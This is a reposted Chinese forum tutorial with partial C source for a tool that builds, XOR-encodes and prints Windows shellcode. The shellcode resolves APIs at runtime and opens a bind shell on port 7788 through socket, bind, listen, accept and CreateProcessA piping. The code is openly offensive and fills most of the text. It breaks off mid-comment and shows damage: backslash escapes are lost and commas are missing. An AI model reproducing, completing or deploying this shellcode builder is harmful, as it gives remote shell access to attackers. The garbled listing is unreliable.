使用C语言编写提取通用shellcode的程序
文章作者:xiaocheng888 摘自易做图八进制论坛说明:此程序测试:Win2K SP4 Local / Win2003 SP0 Local
可用标准c语言string格式打印出你所在ShellCodes函数中编写的shellcode
用vc编译时请使用Release格式并取消优化设置,否则不能正常运行
复制内容到剪贴板
代码:
#include <windows.h>
#include <stdio.h>
#include <winioctl.h>#define DEBUG 1 //定义为调试模式。本地测试用。打印shellcode后立即执行shellcode
//
//函数原型
//
void DecryptSc(); //shellcode解码函数,使用的是xor法加微调法
void ShellCodes(); //shellcode的函数,因为使用了动态搜索API地址。所以所有WINNT系统通杀
void PrintSc(char *lpBuff, int buffsize); //PrintSc函数用标准c格式打印//
//用到的部分定义
//
#define BEGINSTRLEN 0x08 //开始字符串长度
#define ENDSTRLEN 0x08 //结束标记字符的长度
#define nop_CODE 0x90 //填充字符,用于不确定shellcode入口用
#define nop_LEN 0x0 //ShellCode起始的填充长度,真正shellcode的入口
#define BUFFSIZE 0x20000 //输出缓冲区大小#define sc_PORT 7788 //绑定端口号 0x1e6c
#define sc_BUFFSIZE 0x2000 //ShellCode缓冲区大小#define Enc_key 0x7A //编码密钥
#define MAX_Enc_Len 0x400 //加密代码的最大长度 1024足够?
#define MAX_Sc_Len 0x2000 //hellCode的最大长度 8192足够?
#define MAX_api_strlen 0x400 //APIstr字符串的长度
#define API_endstr "strend"//API结尾标记字符串
#define API_endstrlen 0x06 //标记字符串长度
//定义函数开始字符,定位用
#define PROC_BEGIN __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90
__asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90
#define PROC_END PROC_BEGIN
//---------------------------------------------------
enum{ //Kernel32中的函数名定义,用于编写自定义的shellcode。下同
_CreatePipe,
_CreateProcessA,
_CloseHandle,
_PeekNamedPipe,
_ReadFile,
_WriteFile,
_ExitProcess,//WS2_32
_WSAStartup,
_WSASocket
_socket,
_bind,
_listen,
_accept,
_send,
_recv,
_ioctlsocket,
_closesocket,//本机测试User32
_MessageBeep,
_MessageBoxA,
API_num
};//
//代码这里开始
//
int __cdecl main(int argc, char **argv)
{
//shellcode中要用到的字符串
static char ApiStr[]="x1ex6c" //端口地址7788//Kernel32中查找的API函数名称,用来查找函数地址,下同
"CreatePipe""x0"
"CreateProcessA""x0"
"CloseHandle""x0"
"PeekNamedPipe""x0"
"ReadFile""x0"
"WriteFile""x0"
"ExitProcess""x0"//其它@PI中用到的API
"wsock32.dll""x0"
"socket""x0"
"bind""x0"
"listen""x0"
"accept""x0"
"send""x0"
"recv""x0"
"ioctlsocket""x0"
"closesocket""x0"
//本机测试
"user32.dll""x0"
"MessageBeep""x0"
"MessageBoxA""x0""x0x0x0x0x0"
"strend";char *fnbgn_str="x90x90x90x90x90x90x90x90x90"; //标记开始的字符串
char *fnend_str="x90x90x90x90x90x90x90x90x90"; //标记结束的字符串char buff[BUFFSIZE]; //缓冲区
char sc_buff[sc_BUFFSIZE]; //ShellCodes缓冲
char *pDcrypt_addr,
*pSc_addr;int buff_len; //缓冲长度
int EncCode_len; //加密编码代码长度
int Sc_len; //原始ShellCode的长度int i,k;
unsigned char ch;//
//获得DecryptSc()地址,解码函数的地址,然后搜索MAX_Enc_Len字节,查找标记开始的字符串
//获得真正的解码汇编代码的开始地址,MAX_Enc_Len定义为1024字节一般这已经足够了,然后将这
//部分代码
补充:综合编程 , 安全编程 ,